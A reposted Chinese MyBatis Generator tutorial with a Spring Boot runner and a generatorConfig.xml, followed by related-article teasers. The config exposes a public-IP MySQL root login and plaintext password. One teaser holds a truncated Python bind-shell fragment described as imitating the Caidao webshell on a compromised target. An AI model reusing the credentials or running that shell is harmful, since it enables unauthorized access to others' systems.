Mybatis generator(复制粘贴完成)

命令行模式

1、java -jar mybatis-generator-core-x.x.x.jar -configfile generatorConfig.xml

2、Maven plugin(mybatis-generator-maven-plugin) 常用

2.1、mvn mybatis-generator:generate

2.2、${basedir}/src/main/resources/generatorConfig.xml 默认读取这个文件,所以新建项目的话,直接添加这个文件即可。

3、java 程序

4、Ant Task 少用

 

generatorConfiguration

context

1、jdbcConnection

2、javaModelGenerator

3、sqlMapGenerator

4、javaClientGenerator(注解方式/xml方式/混合方式),简单的用注解方式,用到一些例子的话用xml方式

5、table

 

生成时可以使用的插件(内置插件都在org.mybatis.generator.plugins中)

1、FluentBuilderMethodsPlugin

2、ToStringPlugin

3、SerializablePlugin

4、RowBoundsPlugin(分页有用)

...

 

使用生成对象

1、简单操作,直接使用生成的xxxMapper的方式

2、复杂查询,使用生成的xxxExample对象


 

 

说了那么多,具体操作可以直接做以下2个步骤即可。

1、在springboot的启动类上,添加如下代码

2、加上一个配置文件

 

使用了java代码的方式进行生成代码

@SpringBootApplication
public class PointReportApplication implements CommandLineRunner
{public static void main(String[] args) {SpringApplication.run(PointReportApplication.class, args);}@Overridepublic void run(String... strings) throws Exception {generateArtifacts();}private void generateArtifacts() throws Exception {List<String> warnings = new ArrayList<>();ConfigurationParser cp = new ConfigurationParser(warnings);Configuration config = cp.parseConfiguration(this.getClass().getResourceAsStream("/generatorConfig.xml"));DefaultShellCallback callback = new DefaultShellCallback(true);MyBatisGenerator myBatisGenerator = new MyBatisGenerator(config, callback, warnings);myBatisGenerator.generate(null);}}

创建一个xml文件,文件名称为:generatorConfig.xml

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE generatorConfigurationPUBLIC "-//mybatis.org//DTD MyBatis Generator Configuration 1.0//EN""http://mybatis.org/dtd/mybatis-generator-config_1_0.dtd"><generatorConfiguration><context id="H2Tables" targetRuntime="MyBatis3Simple"><plugin type="org.mybatis.generator.plugins.FluentBuilderMethodsPlugin" /><plugin type="org.mybatis.generator.plugins.ToStringPlugin" /><plugin type="org.mybatis.generator.plugins.SerializablePlugin" /><plugin type="org.mybatis.generator.plugins.RowBoundsPlugin" /><jdbcConnection driverClass="com.mysql.jdbc.Driver"connectionURL="jdbc:mysql://119.23.209.247/test?truecharacterEncoding=UTF-8"userId="root"password="asd222030"></jdbcConnection><javaModelGenerator targetPackage="com.ky.pointreport.dto"targetProject="./src/main/java"><property name="enableSubPackages" value="true" /><property name="trimStrings" value="true" /></javaModelGenerator><sqlMapGenerator targetPackage="mybatis.mapper"targetProject="./src/main/resources"><property name="enableSubPackages" value="true" /></sqlMapGenerator><javaClientGenerator type="XMLMAPPER"targetPackage="com.ky.pointreport.dao"targetProject="./src/main/java"><property name="enableSubPackages" value="true" /></javaClientGenerator><table tableName="jd_ky_consume_detail" domainObjectName="jdKyConsumeDetail" > <generatedKey column="id" sqlStatement="CALL IDENTITY()" identity="true" /></table></context>
</generatorConfiguration>

 

转载于:https://www.cnblogs.com/vingLiu/p/11079767.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/569284.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mybatis自己学习的一些总结

以前一直在使用spring的JDBCTEMPLATE和hibernate做项目&#xff1b;两个都还不错&#xff0c;spring的jdbctemplate用起来比较麻烦&#xff0c;虽然很简单。而hibernate呢&#xff0c;用起来很好用&#xff0c;很方便&#xff0c;但是很多规矩&#xff0c;规则还有方法到现在都…

利用python模拟菜刀反弹shell绕过限制

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * ssocket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 s.bind((,6666))#补丁端口 …

SpringBoot配置logback-spring.xml日志

SpringBoot配置logback-spring.xml日志 https://blog.csdn.net/qq_35618489/article/details/87709409 在SpringBoot新建 logback-spring.xml 配置文件&#xff0c;因为SPringBoot官方是推荐这个方式 内容&#xff0c;拷贝复制下来就可以了 <?xml version"1.0" e…

SSL的TCP通信

一切尽在代码中&#xff0c;额&#xff0c;自己测试的小例子&#xff0c;感觉很有用&#xff0c;做个记录。 服务器端&#xff1a; </pre><pre name"code" class"java">package com.mpc.test.clazz;import java.io.BufferedReader; import ja…

Java-ArrayList使用技巧---从第一个List中去除所有第二个List中与之重复的元素

需求&#xff1a;从 mAllList 中去除所有 mSubList 中与之重复的元素 测试数据&#xff1a;mAllList 中包含100000个无序无重复字符串&#xff0c;mSubList 中包含50000个无序无重复字符串 方法一、ArrayList中提供的removeAll方法&#xff08;效率最低&#xff09; mAllList.r…

JAVA对时间的几个处理小方法

获得两天之间相差的天数。 private static int daysBetween(Date date1, Date date2) {Calendar cal Calendar.getInstance();cal.setTime(date1);long time1 cal.getTimeInMillis();cal.setTime(date2);long time2 cal.getTimeInMillis();long between_days (time2 - time…

java反射的使用概览

额&#xff0c;研究过这个的人很多很多&#xff0c;但是我没有很深入的研究过&#xff0c;所以谁也拦不住我去研究研究&#xff0c;然后记录下来如有雷同那就雷同了请多多包涵。 首先是整个项目的结构&#xff1a; 使用到的类&#xff1a; package reflect.demo;public class D…

moodle3.7中文语言包

Moodle官方有中文语言包&#xff0c;但是还有没有翻译的&#xff0c;为了提高用户体验&#xff0c;可以将部分未翻译的应用在Moodle网站管理中自己修改。 具体步骤&#xff1a; 先确定需要修改的关键字&#xff0c;也就是网站中没有翻译成中文的文字在centos中定位到moodle网站…

如何在视图中启用thymeleaf

在HTML标签中引入一个属性 1 <html xmlns:th"http://www.thymeleaf.org"> 转载于:https://www.cnblogs.com/q2546/p/11093852.html

pushlet单播与多播

最近要弄一个消息推送的功能&#xff0c;在网上找了很多的关于pushlet的文章&#xff0c;虽然写的都很详细&#xff0c;但是本人看了以后却总觉得是模棱两可不知道如何下手&#xff0c;最终参考了这些文章中的一些内容&#xff0c;并结合官网的源代码&#xff0c;做了自己的修改…

两个小程序大概的了解一下java的线程

一、java的notify与wait package org.calonlan.soulpower;public class MyThreadTest implements Runnable {private String name;private Object prev;private Object self;public MyThreadTest(String name, Object prev, Object self) {super();this.name name;this.prev …

HttpContext HttpRuntime

问题引出 HttpContext.Current.Cache .VS. HttpRuntime.Cache HttpRuntime.Cache&#xff1a;获取当前应用程序的CacheHttpContext.Current.Cache&#xff1a;为当前HTTP请求获取Cache对象&#xff0c;跨线程可用&#xff0c;在APM模式或创建了子线程的场景中不能用HttpContext…

sudo apt-get常用命令

一、卸载 1. sudo apt-get autoclean 如果你的硬盘空间不大的话&#xff0c;可以定期运行这个程序&#xff0c;将已经删除了的软件包的.deb安装文件从硬盘中删除掉。如果你仍然需要硬盘空间的话&#xff0c;可以试试apt-get clean&#xff0c;这会把你已安装的软件包的安装包也…

Spring项目中使用webservice实现h5的websocket通信

一、在项目中建立一个webservice来做后台操作。 package org.calonlan.soulpower.websocket;import java.text.SimpleDateFormat; import java.util.Date;import javax.websocket.OnClose; import javax.websocket.OnError; import javax.websocket.OnMessage; import javax.we…

c++简单桶排序

c简单桶排序 题目一样&#xff0c;还是排序 桶排序是排序算法里比较快的 代码 注释 #include <bits/stdc.h> using namespace std; int main() {int b[100];//b[]的大小是你排的数字的最大值 1 int n;int k;memset(b,0,sizeof(b));//把b[]数组清零 cin >> n;for…

[连载型] Neutron 系列 (15): OpenStack 是如何实现 Neutron 网络 和 Nova虚机 防火墙的...

问题导读&#xff1a;1.Nova安全组是什么&#xff1f;2.Nova的是如何配置的?3.FWaas是什么&#xff1f;1. Nova 安全组1.1 配置 节点配置文件配置项说明controller/etc/nova/nova.confsecurity_group_api nova是的 nova secgroup* 命令使用的是 nova 安全组的 API/etc/neutro…

linux命令笔记

alias 查看或设置别名。 ualias 取消别名。 mkdir -p 创建目录及子目录。 vi/vim 编辑器。 seq -s 生成数字序列。 yum 解决linux下包管理工具rpm的安装软件依赖问题&#xff0c;例如&#xff1a;yum install lrzsz -y。 cp -apr 拷贝文件或目录。 tree -Ld打印目录结构…

LeetCode题解

题目是这样的&#xff1a;一个机器人位于一个 m x n 网格的左上角 &#xff08;起始点在下图中标记为“Start” &#xff09;。机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角&#xff08;在下图中标记为“Finish”&#xff09;。问总共有多少条不同的路径&a…

Mysql的执行顺序与优化分析

编写顺序与执行顺序分析 一条完整的sql语句编写流程应该如下&#xff1a; select distinct 查询字段 from 表名 JOIN 表名 ON 连接条件 where 查询条件 group by 分组字段 having 分组后条件 order by 排序条件 limit 查询起始位置, 查询条数 但是在mysql实…

java获得指定的开始时间与结束时间之间的所有日期

import java.text.SimpleDateFormat; import java.util.Calendar;public class TimerTest {public static void main(String[] args) throws Exception {String beginDate "2016-07-16";//开始时间String endDate "2016-07-25";//结束时间SimpleDateForm…